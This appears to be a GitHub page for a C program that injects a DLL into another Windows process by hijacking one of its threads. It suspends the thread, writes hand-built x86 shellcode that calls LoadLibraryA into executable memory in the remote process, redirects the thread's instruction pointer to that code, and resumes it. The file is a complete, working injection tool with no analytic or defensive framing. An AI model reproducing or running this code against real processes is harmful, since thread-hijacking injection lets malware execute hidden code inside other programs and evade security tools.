-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathDll_Injection_using_Thread_Hijacking.c
More file actions
224 lines (198 loc) · 7 KB
/
Dll_Injection_using_Thread_Hijacking.c
File metadata and controls
224 lines (198 loc) · 7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
# include <stdio.h>
# include <Windows.h>
# include <tlhelp32.h>
# include <winnt.h>
# include <psapi.h>
// Defines:
# define REQUIRED_ARGS_COUNT (4)
# define SHELLCODE_SIZE (17)
# define RETURN_SUCCESS (0)
# define ERROR_FAILED_GETTING_SNAPSHOT (1)
# define ERROR_FAILED_GETTING_THREAD (2)
# define ERROR_FAILED_GETTING_NEXT_THREAD (3)
# define ERROR_FAILED_GETTING_THREAD_HANDLE (4)
# define ERROR_FAILED_SUSPENDING_THREAD (5)
# define ERROR_FAILED_GETTING_THREAD_CONTEXT (6)
# define ERROR_FAILED_GETTING_PROCESS_HANDLE (7)
# define ERROR_FAILED_ALLOCATE_REMOTE_MEMORY (8)
# define ERROR_FAILED_WRITE_REMOTE_PROCESS (9)
# define ERROR_FAILED_TO_WRITE_PROPER_AMOUNT (10)
# define ERROR_FAILED_SETTING_THREAD_CONTEXT (11)
# define ERROR_FAILED_RESUMING_THREAD (12)
# define ERROR_FAILED_FREE_REMOTE_PROCESS (13)
# define ERROR_FAILED_GETTING_KERNEL32_HANDLE (14)
# define ERROR_FAILED_GETTING_LOADLIBRARY_ADDRESS (15)
# define ERROR_FAILED_SENDING_MESSAGE_TO_WINDOW (16)
# define ERROR_WRONG_USAGE (17)
int main(int argc, char* argv[])
{
size_t len = 0;
DWORD dwEIP = 0;
BOOL bResult = 0;
INT_PTR diff = 0;
DWORD dwResult = 0;
int iPIDToInject = 0;
int iTIDToInject = 0;
char* pDllPath = NULL;
char* pBuffer2 = NULL;
HANDLE hThread = NULL;
HANDLE hKernel = NULL;
HANDLE hProcess = NULL;
size_t iWrittenbytes = 0;
char pBuffer[256] = { 0 };
char* relLoadLibrary = NULL;
FARPROC pLoadLibrary = NULL;
CONTEXT ThreadContext = { 0 };
LPVOID pRemoteAllocatedMemory = NULL;
HANDLE hProcessToInjectSnapshot = NULL;
// parse given arguments
if (REQUIRED_ARGS_COUNT != argc)
{
printf("Error: wrong usage. Program should get 3 arguments: PID, TID, and the DLL-path to inject.\nTry again");
return ERROR_WRONG_USAGE;
}
iPIDToInject = atoi(argv[1]);
iTIDToInject = atoi(argv[2]);
pDllPath = argv[3];
// suspend the thread
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, iTIDToInject);
if (NULL == hThread)
{
printf("Error: failed to get handle to thread. see error code: %d\n", GetLastError());
CloseHandle(hProcessToInjectSnapshot);
return ERROR_FAILED_GETTING_THREAD_HANDLE;
}
dwResult = SuspendThread(hThread);
if (-1 == dwResult)
{
printf("Error: failed to suspend thread. see error code: %d\n", GetLastError());
CloseHandle(hProcessToInjectSnapshot);
CloseHandle(hThread);
return ERROR_FAILED_SUSPENDING_THREAD;
}
bResult = 0;
ThreadContext.ContextFlags = CONTEXT_ALL;
bResult = GetThreadContext(hThread, &ThreadContext);
if (0 == bResult)
{
printf("Error: failed to get thread context. see error code: %d\n", GetLastError());
CloseHandle(hProcessToInjectSnapshot);
CloseHandle(hThread);
return ERROR_FAILED_GETTING_THREAD_CONTEXT;
}
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, iPIDToInject);
if (NULL == hProcess)
{
printf("\nError: failed to get handle to process. check error code: %d\n", GetLastError());
CloseHandle(hProcessToInjectSnapshot);
CloseHandle(hThread);
return ERROR_FAILED_GETTING_PROCESS_HANDLE;
}
dwEIP = ThreadContext.Eip;
hKernel = GetModuleHandleW(L"kernel32.dll");
if (NULL == hKernel)
{
printf("\nError: failed to get handle to kernel32.dll. check error code: %d\n", GetLastError());
CloseHandle(hProcessToInjectSnapshot);
CloseHandle(hThread);
CloseHandle(hProcess);
return ERROR_FAILED_GETTING_KERNEL32_HANDLE;
}
pLoadLibrary = GetProcAddress(hKernel, "LoadLibraryA");
if (NULL == pLoadLibrary)
{
printf("\nError: failed to get loadlibrary address. check error code: %d\n", GetLastError());
CloseHandle(hProcessToInjectSnapshot);
CloseHandle(hThread);
CloseHandle(hKernel);
CloseHandle(hProcess);
return ERROR_FAILED_GETTING_LOADLIBRARY_ADDRESS;
}
// copy the shellcode from buffer to remote process memory
len = strlen(pDllPath);
pRemoteAllocatedMemory = VirtualAllocEx(hProcess, NULL, len + SHELLCODE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (NULL == pRemoteAllocatedMemory)
{
printf("\nError: failed to allocate remote memory. check error code: %d\n", GetLastError());
CloseHandle(hProcessToInjectSnapshot);
CloseHandle(hThread);
CloseHandle(hKernel);
CloseHandle(hProcess);
return ERROR_FAILED_ALLOCATE_REMOTE_MEMORY;
}
// build buffer for containing the shellcode
memcpy(pBuffer, pDllPath, len);
pBuffer[len + 1] = 0x68; // push (imm value)
pBuffer2 = pBuffer + len + 2;
memcpy(pBuffer2, &pRemoteAllocatedMemory, 4);
pBuffer[len + 6] = 0xE8; // relative call
pBuffer2 = pBuffer + len + 7;
relLoadLibrary = (char *)pLoadLibrary - ((char *)pRemoteAllocatedMemory + len + 11);
memcpy(pBuffer2, &relLoadLibrary, 4); // LoadLibrary
pBuffer[len + 11] = 0x68; // push
pBuffer2 = pBuffer + len + 12;
memcpy(pBuffer2, &dwEIP, 4); // EIP value for pushing
pBuffer[len + 16] = 0xc3; // ret
// copy buffer to relevant allocated remote space
bResult = 0;
bResult = WriteProcessMemory(hProcess, pRemoteAllocatedMemory, pBuffer, len + SHELLCODE_SIZE, &iWrittenbytes);
if (0 == bResult)
{
printf("\nError: failed to write to remote process memory. check error code: %d\n", GetLastError());
CloseHandle(hProcessToInjectSnapshot);
CloseHandle(hThread);
CloseHandle(hKernel);
CloseHandle(hProcess);
return ERROR_FAILED_WRITE_REMOTE_PROCESS;
}
if (len + SHELLCODE_SIZE != iWrittenbytes)
{
printf("\nError: failed to write proper amount of bytes. \n Bytes to write: %d, Bytes actually written: %d\n", (int)(len + SHELLCODE_SIZE), iWrittenbytes);
CloseHandle(hProcessToInjectSnapshot);
CloseHandle(hThread);
CloseHandle(hKernel);
CloseHandle(hProcess);
return ERROR_FAILED_TO_WRITE_PROPER_AMOUNT;
}
// make the thread to execute the shellcode
ThreadContext.Eip = (char *)pRemoteAllocatedMemory + len + 1;
bResult = 0;
bResult = SetThreadContext(hThread, &ThreadContext);
if (0 == bResult)
{
printf("\nError: failed to set thread context. check error code: %d\n", GetLastError());
CloseHandle(hProcessToInjectSnapshot);
CloseHandle(hThread);
CloseHandle(hKernel);
CloseHandle(hProcess);
return ERROR_FAILED_SETTING_THREAD_CONTEXT;
}
dwResult = 0;
dwResult = ResumeThread(hThread);
if (-1 == dwResult)
{
printf("Error: failed to resume thread. see error code: %d\n", GetLastError());
CloseHandle(hProcessToInjectSnapshot);
CloseHandle(hThread);
CloseHandle(hKernel);
CloseHandle(hProcess);
return ERROR_FAILED_RESUMING_THREAD;
}
bResult = 0;
bResult = PostThreadMessageW(iTIDToInject, WM_SHOWWINDOW, TRUE, SW_OTHERUNZOOM);
if (0 == bResult)
{
printf("Error: failed to send message to the process's window. see error code: %d\n", GetLastError());
CloseHandle(hProcessToInjectSnapshot);
CloseHandle(hThread);
CloseHandle(hKernel);
CloseHandle(hProcess);
return ERROR_FAILED_SENDING_MESSAGE_TO_WINDOW;
}
// Close handles and exit
CloseHandle(hProcessToInjectSnapshot);
CloseHandle(hThread);
CloseHandle(hKernel);
CloseHandle(hProcess);
return RETURN_SUCCESS;
}